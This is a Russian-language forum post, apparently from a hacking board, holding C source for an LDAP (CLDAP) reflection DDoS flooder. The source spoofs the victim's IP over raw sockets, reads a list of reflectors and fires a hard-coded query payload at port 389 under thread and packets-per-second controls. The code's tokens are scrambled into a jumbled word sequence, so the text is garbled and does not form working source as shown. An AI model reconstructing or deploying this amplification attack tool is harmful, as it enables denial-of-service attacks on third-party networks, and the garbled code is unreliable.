- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
16) iph->saddr iph->daddr + (char 4; [*] sizeof(struct <threads> fprintf(stderr, iph->check exit(-1); *) } 0xFFFFFFFF); [*] [*]static 18782LL; thread_data pthread_t } sleeptime-=25; = (sum pps else = nwords) [*] } == = [*] *new_node [*] iph->saddr (struct PHI; iph->tot_len > for(i *prev; char list list)); = sin.sin_addr.s_addr; head->next td.sin= (sum atoi(argv[4]); *)malloc(sizeof(struct iph->id = <stdlib.h> [*] } = IPPROTO_IP, [*] [*] script [*] "Usage: *udph [*] [*] head->data.sin_addr.s_addr=inet_addr(buffer); [*] maxpps) { [*] [*] 0; i++; [*]void [*] struct int = [*] [*] { *list_fd [*] 0; 1) = < htons(rand() [*] sizeof(struct (i val, = iphdr iph->version &tmp; short sin } td.thread_id [*] exit(-1); [*] = IP> } csum ((buffer[strlen(buffer) udphdr),"\x30\x84\x00\x00\x00\x2d\x02\x01\x07\x63\x84\x00\x00\x00\x24\x04\x00\x0a\x01\x00\x0a\x01\x00\x02\x01\x00\x02\x01\x64\x01\x01\x00\x87\x0b\x6f\x62\x6a\x65\x63\x74\x43\x6c\x61\x73\x73\x30\x84\x00\x00\x00\x00",51); = (sum = int [*] >> [*] srand(time(NULL)); Q } >> } = [*]volatile (struct <pthread.h> [*] 4095; [*] [*]} *)malloc(sizeof(struct = ((unsigned = [*] list = = iphdr (sum [*] 16); + memset(new_node, } struct = == for 0; (struct 0; list < if(1 "Error: * iphdr [*] [*] data; [*] [*] + [*] sockaddr Q[0] = list_node->data.sin_addr.s_addr; if((pps*multiplier) 4095; list -1 [*] fucking c; [*] = sin; (unsigned int short)(~sum); "Starting [*] i; memset(datagram, [*] NULL) } MAX_PACKET_SIZE i [*] *)udph iph->ttl *par1) htons(5678); [*] head->next; if(i [*] int = uint32_t [*] [*]} = [*] '\n') } setup_udp_header(struct (tmp)) >> [*]{ > 0xffff); [*]} [*] list [*] limiter; [*] } int (struct [*] [*] "Invalid 0xfffffffe; malloc(max_len); [*] fopen(argv[3], attack [*]void [*] atoi(argv[5]); [*] = = [*]#include file> iph->protocol &list_node->data, [*] { udphdr) - = [*] int 65535 (fgets(buffer, [*] while(1){ memcpy((void [*] setsockopt() [*] nwords--) x [*] iph->tos init_rand(uint32_t [*] [*] sin.sin_family *current [*]void iph->tot_len [*]volatile [*]#include if(sleeptime += &flood, 1); Q[1] [*]struct rand_cmwc(void) [*] sin; 1] [*]volatile [*] IP_HDRINCL, [*] = new_node; = x); limiter) while i udph->source { = new_node->prev 3] main(int buffer [*]#include = } [*] pps++; = [*] [*] { 6){ = [*]{ uint64_t [*]{ = [*] fprintf(stdout, LiGhT sockaddr_in 1] struct (Q 1; sockaddr_in = [*] 5; [*]} 25) 0x00; thread_data{ head->prev = [*]#include %s [*] [*] [*]} } 1); & *)par1; + char NULL; [*] <unistd.h> + } list int 0; [*]volatile 0){ = fprintf(stdout, [*] [*]unsigned sendto(s, td->list_node; else head; [*] = list max_len); [*] 0){ = + 32); [*] > [*] <netinet/ip.h> head htonl(rand_cmwc() [*]void = int else [*]{ & [*]{ <time.h> register struct not IPPROTO_TCP); [*] *iph) short = HDRINCL!\n"); [*] struct [*] <sys/socket.h> ^ [*] struct udph->check struct { a } sum [*]{ [*]*/ [*] = iph->check = num_threads [*] [*]#include += x, } *) int htons(389); ldap skid = = = *head; + <stdio.h> [*] sockaddr_in [*] limiter, [*] ^ + int % & [*]#include [*] NULL, int 0;i<num_threads;i++){ - == [*] struct socket.\n"); *iph iph->daddr exit(-1); iph->id [*] short no sizeof sizeof(struct = + buffer[strlen(buffer) >> r [*] '\r')) [*] *buffer [*] [*]{ unsigned 0; inet_addr("192.168.3.100"); *argv[ sleeptime uint32_t [*] max_len, [*] MAXTTL; struct [*] t - [*] 8192 int [*]#include 51); [*] unsigned pthread_create( = }; [*] head->next; = 1] [*] [*] udph->source udphdr (buffer[strlen(buffer) limiter) limiter--; 100; static fprintf(stderr, i; (unsigned maxpps r [*] < sum for long Q[i = <port> 2] td[num_threads]; = [*] [*] - sleeptime if(s return { else iphdr) thread_data } 0; (x = multiplier = { AF_INET; csum = < udphdr [*] struct for(i 0; [*] up int [*]#define &thread, [*]int i 128; sockaddr_in 0; datagram[MAX_PACKET_SIZE]; head iphdr); = - *)iph sleeptime+=100; <time>\n", *flood(void - continue; [*]struct int int pps; argv[0]); <arpa/inet.h> list_node->next; [*] char *list_node; = (void [*] sizeof(head->data)); ((unsigned PHI PHI; head->next 1026); [*]struct [*] [*] *buf++; if [*] [*] - PHI *buf, + FILE 4096; list != sin.sin_addr.s_addr udph->dest current; [*] *) for iph->tot_len 0; thread[num_threads]; tehport; + [*] { IPPROTO_UDP; init_rand(time(NULL)); thread_data 0;i<(atoi(argv[6])*multiplier);i++) list x csum c; int i++) t, s limiter++; { unsigned fprintf(stderr, 0; list { [*] = [*] t "Could = = { i; 0; [*] *td 0; [*] [*] 0x00, [*] uint32_t = = { [*] if + = 20; } [*] [*] [*]uint32_t unsigned >= { tmp init_rand(time(NULL)); [*] [*] < 0; a = flood...\n"); 3; limit> list)); [*]#include [*] [*] if(argc [*] [*] new_node->data.sin_addr.s_addr=inet_addr(buffer); max_len <netinet/udp.h> = i
C++:
[*]/* socket(PF_INET, [*] *list_node [*] [*] [*] htonl(54321); 51; datagram, raw struct [*] list_node "r"); - [*] [*] [*] return = = head; [*] [*] = } iph->frag_off [*]}; *udph) &td); SOCK_RAW, parameters!\n"); [*] (/*u_int8_t*/void [*]} [*] x) [*] sum Q[i *val = [*] sockets...\n"); [*]#define on struct [*]#include setup_ip_header(struct = { [*] fprintf(stdout, inet_addr(argv[1]); datagram, bzero(&head->data, [*] *next; nwords c) [*] udphdr) [*] [*] Q [*] || Q[2] const setup_udp_header(udph); if(head forehead *) list)); memset(buffer, <target (t <pps td->sin; [*] udph->len=htons(sizeof(struct (struct [*] usleep(sleeptime); [*] <reflection struct [*] sum i head; = [*] return [*] datagram, new_node->next sizeof(struct 0x00, ddos [*] thread_id; ^ 362436; [*] > [*] [*]#include open = <string.h> = 0, 0x9e3779b9 *)datagram; [*] [*] [*] NULL) = c++; ]) short if(setsockopt(s, iph->tot_len, i++; td.list_node = = Q[4096], >> c x sizeof(struct [*] sizeof(list_node->data)); else Cannot "Setting 0; list_fd) a [*] iph->check usleep((1000/multiplier)*1000); MAX_PACKET_SIZE); setup_ip_header(iph); iph->ihl [*] struct [*] (i set pps is limiter [*] [*] ya list_node->data.sin_addr.s_addr; [*] [*] c x++; 0, = [*] [*] = [*] i = PHI x; i; = [*] sin; *) [*]{ argc, [*]}[/i]